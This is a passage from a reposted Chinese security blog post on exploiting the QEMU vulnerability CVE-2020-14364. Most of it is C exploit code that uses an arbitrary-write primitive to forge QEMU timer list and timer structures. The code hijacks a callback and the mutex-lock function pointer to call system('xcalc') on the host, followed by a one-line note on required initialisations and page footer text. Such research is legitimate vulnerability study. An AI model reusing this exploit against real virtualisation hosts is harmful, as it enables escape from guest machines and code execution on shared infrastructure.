    puts("set active_timers");
    arb_write(QEMUTimerList+0x40, bss+0x100);  //QEMUTimerList->active_timers
    puts("set notify_cb");
    arb_write(QEMUTimerList+0x58, base+0x111a58);   //QEMUTimerList->notify_cb
    puts("set notify_opaque");                      
    arb_write(QEMUTimerList+0x60, bss+0x300);       //QEMUTimer->opaque
    puts("timer_done_env");
    arb_write(QEMUTimerList+0x6c, 0x1); 

    unsigned long QEMUTimer = bss+0x100;
    // printf("the sizeof(uint64_t) %d\n", sizeof(QEMUTimer));  //8
    arb_write(QEMUTimer+8, QEMUTimerList);  //qemutimer->timer_list
    arb_write(QEMUTimer+0x10, system_plt);  //cb
    arb_write(QEMUTimer+0x18, bss+0x300);  //opaque
    arb_write(bss+0x300, 0x636c616378);   //"xcalc"
    
    puts("set main_loop_tlg");
    // getchar();
    arb_write(main_loop_tlg, QEMUTimerList);   
    puts("alright");
    arb_write(qemu_mutex_lock_func, system_plt);
    // getchar();
    sleep(5);
};

对于两个为true的初始化必须要设置,QEMU有可以取消为true的断言,如果为0会直接中止。

图片[9]-PortalLab | 多种方法利用QEMU-CVE-2020-14364(二) – 作者:北京星阑科技有限公司-安全小百科

来源:freebuf.com 2021-06-23 16:20:35 by: 北京星阑科技有限公司

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论